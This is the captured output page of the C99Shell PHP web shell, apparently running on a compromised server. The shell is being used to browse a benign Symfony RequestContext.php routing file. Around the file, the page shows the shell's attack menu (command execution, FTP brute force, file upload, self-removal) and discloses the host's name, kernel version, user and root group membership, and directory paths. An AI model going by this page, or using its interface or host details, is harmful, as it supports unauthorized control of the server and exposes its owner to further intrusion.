!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_6/vendor/symfony/routing/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RequestContext.php (6.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Routing;

use 
Symfony\Component\HttpFoundation\Request;

/**
 * Holds information about the current request.
 *
 * This class implements a fluent interface.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Tobias Schultze <http://tobion.de>
 */
class RequestContext
{
    private 
string $baseUrl;
    private 
string $pathInfo;
    private 
string $method;
    private 
string $host;
    private 
string $scheme;
    private 
int $httpPort;
    private 
int $httpsPort;
    private 
string $queryString;
    private array 
$parameters = [];

    public function 
__construct(string $baseUrl ''string $method 'GET'string $host 'localhost'string $scheme 'http'int $httpPort 80int $httpsPort 443string $path '/'string $queryString '')
    {
        
$this->setBaseUrl($baseUrl);
        
$this->setMethod($method);
        
$this->setHost($host);
        
$this->setScheme($scheme);
        
$this->setHttpPort($httpPort);
        
$this->setHttpsPort($httpsPort);
        
$this->setPathInfo($path);
        
$this->setQueryString($queryString);
    }

    public static function 
fromUri(string $uristring $host 'localhost'string $scheme 'http'int $httpPort 80int $httpsPort 443): self
    
{
        
$uri parse_url($uri);
        
$scheme $uri['scheme'] ?? $scheme;
        
$host $uri['host'] ?? $host;

        if (isset(
$uri['port'])) {
            if (
'http' === $scheme) {
                
$httpPort $uri['port'];
            } elseif (
'https' === $scheme) {
                
$httpsPort $uri['port'];
            }
        }

        return new 
self($uri['path'] ?? '''GET'$host$scheme$httpPort$httpsPort);
    }

    
/**
     * Updates the RequestContext information based on a HttpFoundation Request.
     *
     * @return $this
     */
    
public function fromRequest(Request $request): static
    {
        
$this->setBaseUrl($request->getBaseUrl());
        
$this->setPathInfo($request->getPathInfo());
        
$this->setMethod($request->getMethod());
        
$this->setHost($request->getHost());
        
$this->setScheme($request->getScheme());
        
$this->setHttpPort($request->isSecure() || null === $request->getPort() ? $this->httpPort $request->getPort());
        
$this->setHttpsPort($request->isSecure() && null !== $request->getPort() ? $request->getPort() : $this->httpsPort);
        
$this->setQueryString($request->server->get('QUERY_STRING'''));

        return 
$this;
    }

    
/**
     * Gets the base URL.
     */
    
public function getBaseUrl(): string
    
{
        return 
$this->baseUrl;
    }

    
/**
     * Sets the base URL.
     *
     * @return $this
     */
    
public function setBaseUrl(string $baseUrl): static
    {
        
$this->baseUrl rtrim($baseUrl'/');

        return 
$this;
    }

    
/**
     * Gets the path info.
     */
    
public function getPathInfo(): string
    
{
        return 
$this->pathInfo;
    }

    
/**
     * Sets the path info.
     *
     * @return $this
     */
    
public function setPathInfo(string $pathInfo): static
    {
        
$this->pathInfo $pathInfo;

        return 
$this;
    }

    
/**
     * Gets the HTTP method.
     *
     * The method is always an uppercased string.
     */
    
public function getMethod(): string
    
{
        return 
$this->method;
    }

    
/**
     * Sets the HTTP method.
     *
     * @return $this
     */
    
public function setMethod(string $method): static
    {
        
$this->method strtoupper($method);

        return 
$this;
    }

    
/**
     * Gets the HTTP host.
     *
     * The host is always lowercased because it must be treated case-insensitive.
     */
    
public function getHost(): string
    
{
        return 
$this->host;
    }

    
/**
     * Sets the HTTP host.
     *
     * @return $this
     */
    
public function setHost(string $host): static
    {
        
$this->host strtolower($host);

        return 
$this;
    }

    
/**
     * Gets the HTTP scheme.
     */
    
public function getScheme(): string
    
{
        return 
$this->scheme;
    }

    
/**
     * Sets the HTTP scheme.
     *
     * @return $this
     */
    
public function setScheme(string $scheme): static
    {
        
$this->scheme strtolower($scheme);

        return 
$this;
    }

    
/**
     * Gets the HTTP port.
     */
    
public function getHttpPort(): int
    
{
        return 
$this->httpPort;
    }

    
/**
     * Sets the HTTP port.
     *
     * @return $this
     */
    
public function setHttpPort(int $httpPort): static
    {
        
$this->httpPort $httpPort;

        return 
$this;
    }

    
/**
     * Gets the HTTPS port.
     */
    
public function getHttpsPort(): int
    
{
        return 
$this->httpsPort;
    }

    
/**
     * Sets the HTTPS port.
     *
     * @return $this
     */
    
public function setHttpsPort(int $httpsPort): static
    {
        
$this->httpsPort $httpsPort;

        return 
$this;
    }

    
/**
     * Gets the query string without the "?".
     */
    
public function getQueryString(): string
    
{
        return 
$this->queryString;
    }

    
/**
     * Sets the query string.
     *
     * @return $this
     */
    
public function setQueryString(?string $queryString): static
    {
        
// string cast to be fault-tolerant, accepting null
        
$this->queryString = (string) $queryString;

        return 
$this;
    }

    
/**
     * Returns the parameters.
     */
    
public function getParameters(): array
    {
        return 
$this->parameters;
    }

    
/**
     * Sets the parameters.
     *
     * @param array $parameters The parameters
     *
     * @return $this
     */
    
public function setParameters(array $parameters): static
    {
        
$this->parameters $parameters;

        return 
$this;
    }

    
/**
     * Gets a parameter value.
     */
    
public function getParameter(string $name): mixed
    
{
        return 
$this->parameters[$name] ?? null;
    }

    
/**
     * Checks if a parameter value is set for the given parameter.
     */
    
public function hasParameter(string $name): bool
    
{
        return 
\array_key_exists($name$this->parameters);
    }

    
/**
     * Sets a parameter value.
     *
     * @return $this
     */
    
public function setParameter(string $namemixed $parameter): static
    {
        
$this->parameters[$name] = $parameter;

        return 
$this;
    }

    public function 
isSecure(): bool
    
{
        return 
'https' === $this->scheme;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--